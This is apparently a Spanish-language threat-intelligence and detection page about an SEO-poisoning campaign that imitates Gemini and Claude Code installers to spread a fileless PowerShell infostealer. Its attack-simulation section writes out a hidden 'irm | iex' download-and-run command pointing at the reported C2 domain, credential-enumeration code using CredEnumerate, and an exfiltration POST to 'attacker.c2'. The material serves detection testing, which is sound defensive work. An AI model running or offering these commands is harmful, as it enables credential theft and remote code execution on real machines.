Campaña de Envenenamiento de SEO Utiliza Códigos Gemini y Claude Engañosos para Entregar un Infostealer
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Actores de eCrime motivados financieramente están utilizando envenenamiento SEO para impulsar dominios falsos que imitan instaladores para asistentes de codificación de IA. Las víctimas que copian y pegan un único comando de PowerShell desde estas páginas activan un ladrón de información sin archivos que se ejecuta completamente en memoria. El malware roba credenciales, cookies de sesión, claves VPN y archivos sensibles antes de extraer los datos de forma cifrada a un servidor de comando y control. La campaña está dirigida a estaciones de trabajo de desarrolladores de Windows y se mezcla con la actividad normal al abusar de herramientas de desarrollador familiares.
Investigación
Analistas de EclecticIQ rastrearon la infraestructura maliciosa a .co.com dominios que sirven cadenas de descarga de PowerShell a través de irm and iex. El script de primera etapa lanza una ventana de PowerShell oculta usando Shell.Application.ShellExecute, luego carga tipos adicionales de C# para recopilar credenciales, detalles del sistema y otros datos valiosos. Se observó la exfiltración a través de HTTP y HTTPS a events.msft23.com and events.ms709.com usando rutas URL específicas. El análisis pasivo de DNS vinculó la operación a un proveedor de hosting a prueba de balas en los Países Bajos y a un grupo más amplio de dominios con errores tipográficos.
Mitigación
Los defensores deben detectar y bloquear el irm | iex patrón de ejecución, ventanas de PowerShell ocultas y el uso sospechoso de Add-Type que involucra llamadas a P/Invoke. Las organizaciones deben aplicar el Modo de Lenguaje Restringido de PowerShell y usar AppLocker o WDAC para prevenir la ejecución de scripts desde contenido proveniente de internet. Restringir el acceso de escritura al portapapeles del navegador y aplicar tokens OAuth de corta duración para cuentas de desarrolladores puede reducir aún más la exposición. Los desarrolladores también deben estar entrenados para evitar comandos de copiar-pegar de sitios web no confiables.
Respuesta
Los equipos de seguridad deben alertar sobre procesos de PowerShell lanzados con -WindowStyle Hidden o invocados a través de Shell.Application.ShellExecute. Estos eventos deben correlacionarse con solicitudes HTTP salientes a dominios que coincidan con *-setup.com or events.*.com, especialmente cuando aparecen las rutas /take, /process, o /validate . Si se detecta este comportamiento, aísle el punto final afectado, recopile registros de PowerShell y realice la recopilación forense de datos del navegador y almacenes de credenciales.
Flujo de Ataque
Detecciones
Descarga o Subida via Powershell (vía línea de comandos)
Ver
Cadenas de Powershell Sospechosas (vía PowerShell)
Ver
Llamar Métodos .NET Sospechosos desde Powershell (vía PowerShell)
Ver
IOCs (HashSha256) para detectar: Campaña de envenenamiento SEO que aprovecha la suplantación de Gemini y Claude Code para entregar infostealer Parte 2
Ver
IOCs (HashSha256) para detectar: Campaña de envenenamiento SEO que aprovecha la suplantación de Gemini y Claude Code para entregar infostealer Parte 1
Ver
IOCs (SourceIP) para detectar: Campaña de envenenamiento SEO que aprovecha la suplantación de Gemini y Claude Code para entregar infostealer
Ver
IOCs (DestinationIP) para detectar: Campaña de envenenamiento SEO que aprovecha la suplantación de Gemini y Claude Code para entregar infostealer
Ver
Detectar Patrón de Beacon C2 con Rutas URI Específicas [Conexión de Red de Windows]
Ver
Ejecución de Infostealer de PowerShell Sin Archivos [PowerShell de Windows]
Ver
Ejecución de Simulación
Prerrequisito: La Comprobación de Prevuelo de Telemetría y Línea Base debe haberse aprobado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTP identificadas y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados conducirán a un diagnóstico erróneo.
-
Narrativa del Ataque y Comandos:
Un atacante compromete una cuenta de usuario con bajos privilegios y ejecuta un one-liner de PowerShell a través decmd.exe. El one-liner usairm(Invoke‑RestMethod) para recuperar un script de PowerShell malicioso deevents.msft23.com, lo canaliza aiex(Invoke‑Expression) para ejecutar completamente la carga útil en memoria, y oculta la ventana de PowerShell para evitar miradas indiscretas. La carga útil posteriormente carga un tipo .NET conAdd‑Typepara realizar una enumeración de credenciales usando la APICredEnumerate, extrayendo los datos recopilados sobre HTTPS. Todos los pasos se ejecutan sin escribir archivos en el disco, coincidiendo con la descripción de “sin archivo”.# Paso 1 – Lanzamiento de PowerShell oculto powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"El
payload.ps1descargado (ejecutado en memoria) contiene:# Paso 2 – Cargar tipo .NET para enumeración de credenciales $type = @" using System; using System.Runtime.InteropServices; public class Cred { [DllImport("advapi32.dll", SetLastError=true)] public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials); } "@ Add-Type $type # Paso 3 – Iniciar volcamiento de credenciales y extraer $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr) $data = "Collected $count credentials" Invoke-RestMethod -Method Post -Uri https://attacker.c2/exfil -Body $dataEsta secuencia genera los fragmentos de línea de comando que la regla Sigma coincide:
powershell.exe -WindowStyle Hiddenirm events.msft23.com | iexAdd-Typeadvapi32.dll!CredEnumerate
-
Guión de Prueba de Regresión: El siguiente guión reproduce el comportamiento exacto en una estación de trabajo de prueba. Ejecútelo desde un aviso de PowerShell elevado.
# Simulación de Infostealer de PowerShell Sin Archivos – TC-20260525-A7Z3K # ------------------------------------------------------------ # Paso 1 – Ejecutar PowerShell oculto que descarga y ejecuta carga útil $command = 'powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"' Start-Process -FilePath "cmd.exe" -ArgumentList "/c $command" -WindowStyle Hidden # Contenido de payload.ps1 simulado (alojado localmente para pruebas seguras) $payload = @' $type = @" using System; using System.Runtime.InteropServices; public class Cred { [DllImport("advapi32.dll", SetLastError=true)] public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials); } "@ Add-Type $type $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr) $data = "Collected $count credentials" # Simular exfiltración a un endpoint inofensivo Invoke-RestMethod -Method Post -Uri "https://httpbin.org/post" -Body $data '@ # Escribir carga útil simulada en ubicación temporal para la prueba (simulando alojamiento remoto) $tempPath = "$env:TEMPpayload.ps1" Set-Content -Path $tempPath -Value $payload -Encoding UTF8 # Servir la carga útil a través de un simple oyente HTTP local (para demostración) $listener = [System.Net.HttpListener]::new() $listener.Prefixes.Add("http://+:8080/") $listener.Start() Write-Host "Serving mock payload on http://localhost:8080/payload.ps1" while ($listener.IsListening) { $context = $listener.GetContext() if ($context.Request.Url.AbsolutePath -eq "/payload.ps1") { $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload) $context.Response.ContentLength64 = $bytes.Length $context.Response.OutputStream.Write($bytes,0,$bytes.Length) $context.Response.Close() } } # Nota: Detenga el oyente manualmente después de la validación. -
Comandos de Limpieza: Eliminar archivos temporales y detener el oyente HTTP.
# Limpieza después de la simulación Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue # Detener el oyente HTTP local (si todavía está en ejecución) Get-Process -Name "powershell" | Where-Object {$_.MainWindowTitle -match "payload"} | Stop-Process -Force